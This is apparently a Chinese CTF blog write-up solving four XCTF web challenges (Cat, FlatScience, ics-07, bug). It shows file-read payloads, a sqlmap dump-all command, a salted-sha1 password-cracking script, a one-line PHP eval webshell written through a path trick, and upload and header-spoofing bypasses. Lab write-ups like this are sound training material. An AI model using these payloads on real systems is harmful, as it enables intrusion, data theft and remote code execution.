攻防世界3

前言

继续滚回来刷攻防世界了。

Cat

这题考的点完美踩在我的遗忘点上,赶紧记一波。首先进入网页是一个比较熟悉的ping功能,猜测rce,但是发现有waf,对rce命令进行fuzz发现完全无法执行,因此考点不是rce。

文件穿梭也不对,ssrf也不对,因此这题上来就卡住了。求助万能的wp,首先我们在url参数中传入%80或者以后的ascii字符,可以得到Django报错页面的html码,结合报错原因应该是因为ascii编码不支持导致的。

这里就要想到在php中可以利用@进行任意文件读取,比如读取index.php:

1
?url=@index.php

既然存在任意文件读取那就简单了,我们可以考虑猜测flag位置或者查看配置文件,这种题根目录和网页根目录没有flag的话多半得去配置文件找,那么这题要找python的配置文件:

1
?url=@/opt/api/api/settings.py

获取数据库名database.sqlite3,读取数据库内容即可找到flag:

1
?url=@/opt/api/database.sqlite3

FlatScience

也是相当有难度的一题,首先进去好像只有几个pdf文件能下载,干不了啥别的事,那么常规信息搜集一下,发现robots.txt,隐藏了login.phpadmin.php,依次查看。

admin.php中源码直接写道不可能bypass,fuzz了下发现确实bypass不了,那么把目光放在login.php上。查看源码发现让我们GET一个debug参数进去,传入后发现后端源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];

$db = new SQLite3('../fancy.db');

$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}

if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

锁定注入点为usr参数,数据库类型为sqlite,试了下没加waf,那直接sqlmap一把嗦:

1
python2 sqlmap.py -r 1.txt --risk 3 --level 5 --dump-all --batch

再挖个坑,之后写篇关于sqlite的博客吧,结果:

我们发现了admin的密码,但是这时加密过的,源码也告诉我们加密逻辑是sha1($password."Salz!"),而根据hint的内容,估计密码就存在论文中,那我们就把论文中的每一个词都试一遍,简单来说就是爆破(,这个exp真的不会写,扒一个吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
import requests
from bs4 import BeautifulSoup
import os
import re
import hashlib
from pdfminer.pdfparser import PDFParser
from pdfminer.pdfdocument import PDFDocument
from pdfminer.pdfpage import PDFPage
from pdfminer.pdfpage import PDFTextExtractionNotAllowed
from pdfminer.pdfinterp import PDFResourceManager
from pdfminer.pdfinterp import PDFPageInterpreter
from pdfminer.layout import *
from pdfminer.converter import PDFPageAggregator


# 将pdf转换为txt的函数
def pdf2txt(path):
# 打开PDF文件
pdfFile = open(path, 'rb')

# 创建pdf文档分析器
parser = PDFParser(pdfFile)

# 创建PDF文档对象存储文档结构
document = PDFDocument(parser)

# 检查文件是否允许文本提取
if not document.is_extractable:
raise PDFTextExtractionNotAllowed

# 创建PDF资源管理器对象来存储共享资源
resource = PDFResourceManager()

# 设定参数进行分析
laparams = LAParams()

# 创建一个PDF设备对象
device = PDFPageAggregator(resource, laparams=laparams)

# 创建一个PDF解释器对象
interpreter = PDFPageInterpreter(resource,device)

# 创建存储转换结果的同名txt文件
fileName = str(path.split(".")[0])
newFileName = fileName + ".txt"
f = open(newFileName, "w")

# 处理每一页
for page in PDFPage.create_pages(document):
interpreter.process_page(page)
# 接受该页面的LTPage对象
layout = device.get_result()
for x in layout:
if (isinstance(x, LTTextBoxHorizontal)):
# 写入txt文件
try:
f.writelines(x.get_text() + "\n")
except:
pass
f.close()

# 下载所有pdf文件的函数
def downloadpdf():
pdfUrl = [] # 存放所有pdf文件的连接
# 爬取所有的pdf文件的连接
urlList = [
"http://111.200.241.244:49530/",
"http://111.200.241.244:49530/1/index.html",
"http://111.200.241.244:49530/1/2/index.html",
"http://111.200.241.244:49530/1/2/4/index.html",
"http://111.200.241.244:49530/1/2/5/index.html",
"http://111.200.241.244:49530/1/3/index.html",
"http://111.200.241.244:49530/1/3/6/index.html",
"http://111.200.241.244:49530/1/3/7/index.html",
"http://111.200.241.244:49530/1/3/7/8/index.html"
]
for each in urlList:
r = requests.get(url=each)
soup = BeautifulSoup(r.text, 'lxml')
result = soup.find_all(name="a", attrs={"title":"my very fav paper"})
for tmp in result:
if tmp["href"].endswith(".pdf"):
pdfUrl.append(each.split("index.html")[0] + tmp["href"])

# 使用curl -O 命令下载pdf文件
for each in pdfUrl:
os.system("curl -O " + each)


# 取hash值的函数
def sha1(msg):
sha1 = hashlib.sha1()
sha1.update((msg + "Salz!").encode("utf-8"))
return sha1.hexdigest()


# 破解密码的函数
def getpassword():
passlist = {
"3fab54a50e770d830c0416df817567662a9dc85c":"admin",
"54eae8935c90f467427f05e4ece82cf569f89507":"fritze",
"34b0bb7c304949f9ff2fc101eef0f048be10d3bd":"hansi"
}
for each in os.listdir(os.curdir):
# 取出txt文件
if each.endswith(".txt"):
with open(each, "r") as file:
a = file.read()
b = re.split(r"[\s\,\;\.]+", a) # 将单词分割出来
c = []
tmp = ""
judge = False
# 处理以-结尾的行,最终的结果保存在c中
for each in b:
if each.endswith("-"):
tmp = each.split("-")[0]
judge = True
elif judge:
c.append(tmp + each)
judge = False
else:
c.append(each)
# 遍历c碰撞得到密码
for each in c:
print(each)
if sha1(each) in passlist:
return "----" + passlist[sha1(each)] + "'s password is " + each + "Salz!" + "----"


def main():
os.chdir(os.curdir + os.sep + "pdfdir") # 修改工作目录
downloadpdf() # 下载pdf文件

# 将所有pdf文件转换成txt文件
for each in os.listdir(os.curdir):
pdf2txt(each)

# 遍历所有的txt文件得到密码
password = getpassword()
return password


if __name__ == "__main__":
print(main())

跑出来密码为ThinJerboa,登录获得flag。

ics-07

小做一手工控,这次的考点在项目管理一栏中。进入网页审查元素发现存在view-source.php,访问一波,审计代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
session_start();

if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}

if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}

?>


<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;

if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>

<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}

if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>

三段代码,第一段代码的意思是如果page的值不为空且page不为index.php,就会包含flag.php,否则就会直接重定向page为flag.php

第二段代码是文件写入,但是存在waf,并且要求$_SESSION[‘admin’]为true,则段代码应该是最后来看的。

第三段代码总的来说就是要GET一个id参数,这个参数的浮点数不能为1,且id的最后一位必须得是9,这样才能进行sql查询。特别要注意,在浮点数那里的比较中用的是强类型比较,因此不能用数字绕。

我们针对第三段代码先构建payload:

1
?page=flag.php&id=1a9

可以看到页面上出现了name:admin,因此我们的session被置为了true,接下来就是写文件的部分了。

这里的waf主要是禁用了文件后缀,后缀不能为php``php3/4/5/7``pht``phtml,如果没有检测到,则把文件写入并保存在/uploaded/backup/filename中。

那么这里要用到一个很经典的apache文件解析漏洞,apache解析文件时从最右边开始解析,如果不是一个有效的后缀则会向左继续匹配,如果我们上传一个shell.php.xxx文件的话,apache就会把它解析成shell.php文件。

但是尝试getshell发现失败了,猜测是我们在这个文件夹中没有操作权限,因此我们把php文件写入父目录中:

1
con=<?php @eval($_POST['mrl64']);?>&file=../shell.php/.

因此文件写在了/uploaded中,访问即可getshell,flag在网页目录下。

bug

进入网页告诉我们要登录,然后跳转到登录页面,可以注册和找回密码,fuzz发现不存在sql注入,那么注册登录进行查看。

登陆成功后发现熟悉的笑脸:),点击可选菜单发现Manage需要是admin才能使用。猜测在忘记密码部分存在逻辑漏洞,因此尝试改密,用自己的信息绕过密保,接着在step1输入新密码,抓包获取step2更改username,改密成功,登录admin。

接下来发现ip限制,XFF即可,进入后审查元素发现提示:

1
index.php?module=filemanage&do=???

猜测do的内容为upload,访问后出现文件上传,简单的upload绕过,用.php5绕过后缀检测,js标签绕过php标签检测,上传成功即可获取flag。